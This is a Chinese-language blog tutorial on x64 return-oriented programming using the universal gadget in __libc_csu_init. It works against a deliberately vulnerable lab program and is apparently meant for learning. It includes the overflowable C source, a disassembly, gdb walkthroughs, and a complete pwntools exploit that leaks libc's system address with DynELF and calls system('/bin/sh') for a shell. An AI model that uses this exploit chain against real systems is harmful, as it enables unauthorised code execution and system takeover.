Chybeta

ROP学习:利用通用gadget

web狗的二进制之路。

通用Gadget

在x64下进行pwn时,由于参数的传递是通过寄存器来传递的,所以需要寻找gadget。有时用一些工具比如ROPgadget,使用下面的命令:

1
ROPgadget ---binary bin --only "pop|ret"

来寻找gadget。但有时候找不到可用的gadget。

但在x64的环境下,程序有调用libc.so的话,一般会有一个__libc_csu_init()函数。利用里面的gadget可以达到向函数进行传参的功能。这就是通用gadget。

以蒸米师傅的《一步一步学ROP之linux_x64篇》为例研究一下。其源代码level5.c如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

用objdump查看,习惯intel语法了所以这里加了个 -Mintel

1
objdump -d -Mintel level5

其中__libc_csu_init函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov QWORD PTR [rsp-0x28],rbp
4005a5: 4c 89 64 24 e0 mov QWORD PTR [rsp-0x20],r12
4005aa: 48 8d 2d 73 08 20 00 lea rbp,[rip+0x200873] # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea r12,[rip+0x20086c] # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov QWORD PTR [rsp-0x18],r13
4005bd: 4c 89 74 24 f0 mov QWORD PTR [rsp-0x10],r14
4005c2: 4c 89 7c 24 f8 mov QWORD PTR [rsp-0x8],r15
4005c7: 48 89 5c 24 d0 mov QWORD PTR [rsp-0x30],rbx
4005cc: 48 83 ec 38 sub rsp,0x38
4005d0: 4c 29 e5 sub rbp,r12
4005d3: 41 89 fd mov r13d,edi
4005d6: 49 89 f6 mov r14,rsi
4005d9: 48 c1 fd 03 sar rbp,0x3
4005dd: 49 89 d7 mov r15,rdx
4005e0: e8 1b fe ff ff call 400400 <_init>
4005e5: 48 85 ed test rbp,rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor ebx,ebx
4005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
4005f0: 4c 89 fa mov rdx,r15
4005f3: 4c 89 f6 mov rsi,r14
4005f6: 44 89 ef mov edi,r13d
4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005fd: 48 83 c3 01 add rbx,0x1
400601: 48 39 eb cmp rbx,rbp
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8]
40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10]
400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18]
400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20]
40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28]
40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30]
400624: 48 83 c4 38 add rsp,0x38
400628: c3 ret
400629: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0]

《一步一步学ROP之linux_x64篇》中,利用该通用gadget的思路如下:

我们可以看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。

不过具体是怎样的一个流程,可能光看这段话不太清楚。我们根据蒸米师傅的payload1来调试一下整个ROP的过程。

ROP

蒸米师傅的第一个payload,是要利用write()输出在内存中的地址,即write(1, write.got, 8)。根据64位由寄存器传参,我们要利用rop做到以下几件事:

  • 设置rdi1,这是第一个参数
  • 设置rsi为 write的got地址即write.got,这是第二个参数
  • 设置rdx为 8,这是第三个参数
  • 成功的调用write()函数

现在利用脚本具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
elf = ELF('level5')
p = process('./level5')
log.info(proc.pidof(p)[0])
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
raw_input()
p.send(payload1)
raw_input()

其中log.info(proc.pidof(p)[0])用来输出process的pid,用于gdb的attach。第一个raw_input()是在发送payload之前attach上去,这样能具体的观察到发送前后内存的bain话,最后一行raw_input()是在发送payload后挂住脚本防止level5直接退出。

如图所示,进程的PID号为4597.用gdb命令gdb attach 4597后即可附加到进程上。在py脚本中按一下回车,这时会执行p.send(payload1)。接下来正式开始调试,以下命令均在gdb中进行。

第一阶段

接下来我们开始正式的第一阶段的ROP
payload:

1
2
3
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]

此时程序执行到read(STDIN_FILENO, buf, 512),我们按n后,程序执行完read,将我们的payload读到了栈上。我们输入了136个0,然后是通用gadget的起始位置0x400606

接下去继续输入n,当程序执行将到0x400563 <vulnerable_function+31>: ret时,可以观察到此时栈顶为0x400606

继续输入n,程序跳到通用gadget里,开始正式的rop。

根据我们的payload:p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) + p64(0x4005F0),结合上图的stack分析,可知此时的栈中数据分布如下(小端序):

起点 +0 +1 +2 +3 +4 +5 +6 +7 对应数据
rsp 00 00 00 00 00 00 00 00 0x0
rsp+8 00 00 00 00 00 00 00 00 0x0
rsp+16 01 00 00 00 00 00 00 00 0x1
rsp+24 00 10 60 00 00 00 00 00 0x601000
rsp+32 01 00 00 00 00 00 00 00 0x1
rsp+40 00 10 60 00 00 00 00 00 0x601000
rsp+48 08 00 00 00 00 00 00 00 0x8
rsp+56 f0 05 40 00 00 00 00 00 0x4005f0

此时各寄存器的值如下:

我们继续按n,程序执行完mov rbx,QWORD PTR [rsp+0x8],将rsp+0x8也即rsp+8地址处的数据以QWORD形式即8字节赋值给rbx,执行完后,rbx将为0。所以这里有一点要注意的,我们的payload开头是这样的:p64(0) +p64(0) + p64(1) + ……,第一个p64(0),是起一个padding的作用,用来填充rsp到rsp+0x7之间的数据的。

(因为之前调用的read和write的第一个参数就是STDIN_FILENO,值为0,所以这里rbx原本就是0,所以可能感觉没啥变化,其实就是用0赋值给了一个原本就是0的rbx)

接下去按n,执行mov rbp,QWORD PTR [rsp+0x10],将rsp+0x10也即rsp+16地址处的数据以QWORD形式即8字节赋值给rbp。

接下去一直按n,程序依次执行mov操作,直至add rsp,0x38,此时寄存器情况如下:

几个重要的寄存器值列举如下:

  • RBX: 0x0
  • RBP: 0x1
  • R12: 0x601000
  • R13: 0x1
  • R14: 0x601000
  • R15: 0x8

此时栈中数据仍然如前:

接下去我们输入n,程序执行完add rsp,0x38,即将栈顶加上0x38,也即加上56,这相当于是降低了栈顶(栈从低地址向高地址增长)。接下去程序将会执行ret指令,而此时的栈,注意是此时的栈,其内容如下:

接下去输入n,将会执行ret指令,相当于pop rip,也就是说执行完ret,将会跳转到栈顶所指的地址0x4005f0

第二阶段

接下来算是进入ROP的第二阶段。

这时的各寄存器的值如下图,

在经过三个mov操作后mov rdx,r15mov rsi,r14mov edi,r13d,我们成功地把进行write函数调用所需的三个参数都布置好了。

寄存器数据如下:

接下去会执行call QWORD PTR [r12+rbx*8],而我们已经将rbx置为0,r12置为write的got地址,所以执行这句语句,其实就是在调用write()函数。用如下命令可以查看r12+rbx*8处具体的值。

1
2
gdb-peda$ x/gx $r12+$rbx*8
0x601000 <write@got.plt>: 0x00007fdb0df2c280

第三阶段

在call指令执行完了后,即调用完write()函数后,我们进入ROP的第三阶段,收尾阶段。毕竟调用完后不能让程序崩溃啊。这时候对应的payload是

1
2
payload1 += "\x00"*56
payload1 += p64(main)

此时寄存器中:

这是之前第一阶段中,我们设置的,RBX = 0x0,RBP = 0x1。将会进行如下三条指令:

1
2
3
0x4005fd <__libc_csu_init+93>: add rbx,0x1
0x400601 <__libc_csu_init+97>: cmp rbx,rbp
0x400604 <__libc_csu_init+100>: jne 0x4005f0 <__libc_csu_init+80>

rbp加1,得到0x01,然后与值为0x01的rbp进行比较,jne指令说明如果两者比较相等则不会进行跳转,所以这里不会执行跳转,而是继续执行。

接下来“回”到了第一阶段的代码,此时的栈中的情况如下:

我们会执行六次的mov操作,但我们此时不需要再布置参数,所以可以说不用管:)。

1
2
3
4
5
6
7
0x400606 <__libc_csu_init+102>: mov rbx,QWORD PTR [rsp+0x8]
0x40060b <__libc_csu_init+107>: mov rbp,QWORD PTR [rsp+0x10]
0x400610 <__libc_csu_init+112>: mov r12,QWORD PTR [rsp+0x18]
0x400615 <__libc_csu_init+117>: mov r13,QWORD PTR [rsp+0x20]
0x40061a <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28]
0x40061f <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x400624 <__libc_csu_init+132>: add rsp,0x38

接下来,会将rsp加上0x38,即加上56。结合栈的情况,这次add操作,将会将main函数的地址作为栈顶。

所以这一阶段的payload的构成是56个\x00,紧接是准备回到某个位置的内存地址。在执行完ret后,程序将回到mian函数中,以便我们进行下一次的利用。

小结

综合对三个阶段的分析,在64位程序栈溢出时若用了__libc_csu_init中的gadget,其payload组成如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload = '\x00' * offset # offset是溢出偏移点
## 第一阶段
payload += p64(mov_rbx_rsp0x8_addr)
payload += p64(0) # 填充rsp到rsp+7间的数据
payload += p64(0) # 为后面 rbx 置 0 做准备
payload += p64(1) # 为后面 rbp 置 1 做准备
paylaod += p64(call_func_got_addr) # 要调用函数的GOT地址,因为后面的调用是用QWORD PTR来进行的。
payload += p64(第一个参数) # 调用函数的第一个参数
payload += p64(第二个参数) # 调用函数的第二个参数
payload += p64(第三个参数) # 调用函数的第三个参数
payload += p64(mov_rdx_r15_addr) # 利用 ret 指令进入rop的第二阶段
## 第二阶段 该阶段无需控制
## 第三阶段
payload += "\x00" * 56 # 填充 rsp 到 rsp+55间的数据
payload += p64(return_addr) # 将要返回的地址,

利用

现在我们利用这个通用ROP,写一个exp。大体思路是,利用DynELF借write()函数泄露出system的地址。但要注意几点,得到system的地址后,不能直接作为call_func_got_addr,而应该先写到bss段,再填入bss段的地址。所以下面的payload中,bss_addr到bss_addr+7,保存着system的地址,bss_addr+8到bss_addr+15保存着字符串“/bin/sh\x00”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
elf = ELF('level5')
p = process('./level5')
sh = "/bin/sh\x00"
bss_addr = elf.bss(0x20)
got_write = elf.got['write']
got_read = elf.got['read']
log.success("The write got address is "+ hex(got_write))
log.success("The read got address is "+ hex(got_read))
main = 0x400564
def leak(address):
p.recv()
payload = "\x00"*136
payload += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(address) + p64(8)
payload += p64(0x4005F0)
payload += "\x00"*56
payload += p64(main)
p.send(payload)
data = p.recv(8)
return data
dynelf = DynELF(leak,elf=elf)
system_addr = dynelf.lookup("system","libc")
log.success("The system address is " + hex(system_addr))
payload2 = '\x00' * 136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005F0)
payload2 += "\x00" * 56
payload2 += p64(main)
p.send(payload2)
system_sh = p64(system_addr) + sh
p.send(system_sh)
p.recvuntil("Hello, World\n")
payload3 = '\x00' * 136
payload3 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005F0)
payload3 += "\x00"*56
payload3 += p64(main)
p.send(payload3)
p.interactive()

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:ROP学习:利用通用gadget

文章作者:chybeta

发布时间:2017年08月09日 - 19:08

最后更新:2017年08月10日 - 00:08

原始链接:http://chybeta.github.io/2017/08/09/ROP学习:利用通用gadget/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。